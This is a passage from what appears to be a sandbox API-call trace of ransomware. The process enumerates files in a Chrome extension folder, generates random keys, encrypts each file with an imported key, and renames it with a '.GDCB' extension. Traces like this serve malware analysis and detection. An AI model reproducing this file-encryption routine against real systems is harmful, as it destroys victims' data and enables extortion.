(lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.gdcb")) returned 1 [0269.205] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0269.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.210] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0269.210] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.211] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0269.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.215] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0269.215] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.215] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0269.217] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67957e0) returned 1 [0269.217] CryptGetKeyParam (in: hKey=0x67957e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0269.217] CryptEncrypt (in: hKey=0x67957e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0269.217] GetLastError () returned 0x0 [0269.217] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.217] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0269.219] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6797920) returned 1 [0269.219] CryptGetKeyParam (in: hKey=0x6797920, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0269.219] CryptEncrypt (in: hKey=0x6797920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0269.219] GetLastError () returned 0x0 [0269.219] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.219] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0269.221] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.223] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.226] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0xaf3, lpOverlapped=0x0) returned 1 [0269.234] VirtualAlloc (lpAddress=0x0, dwSize=0xb00, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.240] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0269.243] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0269.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.248] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.248] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0269.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.248] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0269.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.252] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0269.252] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.253] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0269.255] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6797ce0) returned 1 [0269.255] CryptGetKeyParam (in: hKey=0x6797ce0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0269.255] CryptEncrypt (in: hKey=0x6797ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0269.255] GetLastError () returned 0x0 [0269.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.255] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0269.258] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6797ee0) returned 1 [0269.258] CryptGetKeyParam (in: hKey=0x6797ee0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0269.258] CryptEncrypt (in: hKey=0x6797ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0269.258] GetLastError () returned 0x0 [0269.258] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.258] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0269.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.263] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.265] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x4454, lpOverlapped=0x0) returned 1 [0269.293] VirtualAlloc (lpAddress=0x0, dwSize=0x4460, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.299] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0269.306] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0269.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.312] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.312] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0269.312] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.312] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0269.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.318] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0269.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.318] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0269.321] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67957a0) returned 1 [0269.321] CryptGetKeyParam (in: hKey=0x67957a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.321] CryptEncrypt (in: hKey=0x67957a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0269.321] GetLastError () returned 0x0 [0269.321] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.321] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0269.323] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797960) returned 1 [0269.323] CryptGetKeyParam (in: hKey=0x6797960, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.323] CryptEncrypt (in: hKey=0x6797960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0269.324] GetLastError () returned 0x0 [0269.324] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.324] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0269.325] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.331] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x1103, lpOverlapped=0x0) returned 1 [0269.345] VirtualAlloc (lpAddress=0x0, dwSize=0x1110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.351] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.gdcb")) returned 1 [0269.355] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0269.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.361] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0269.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.361] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0269.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.366] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0269.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.366] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0269.369] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797e20) returned 1 [0269.369] CryptGetKeyParam (in: hKey=0x6797e20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.369] CryptEncrypt (in: hKey=0x6797e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0269.370] GetLastError () returned 0x0 [0269.370] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.370] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0269.371] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67979a0) returned 1 [0269.371] CryptGetKeyParam (in: hKey=0x67979a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.372] CryptEncrypt (in: hKey=0x67979a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0269.372] GetLastError () returned 0x0 [0269.372] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.372] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0269.373] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.376] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.378] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x356, lpOverlapped=0x0) returned 1 [0269.387] VirtualAlloc (lpAddress=0x0, dwSize=0x360, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.392] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json.gdcb")) returned 1 [0269.395] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0269.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.401] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0269.401] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.401] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0269.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.407] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.407] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0269.407] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.408] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0269.410] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6798020) returned 1 [0269.410] CryptGetKeyParam (in: hKey=0x6798020, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.410] CryptEncrypt (in: hKey=0x6798020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0269.410] GetLastError () returned 0x0 [0269.410] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.411] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0269.412] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797f20) returned 1 [0269.412] CryptGetKeyParam (in: hKey=0x6797f20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.412] CryptEncrypt (in: hKey=0x6797f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0269.413] GetLastError () returned 0x0 [0269.413] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.413] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0269.414] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.420] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x5d80, lpOverlapped=0x0) returned 1 [0269.427] VirtualAlloc (lpAddress=0x0, dwSize=0x5d80, flAllocationType=0x3000, flProtect=0x4) returned 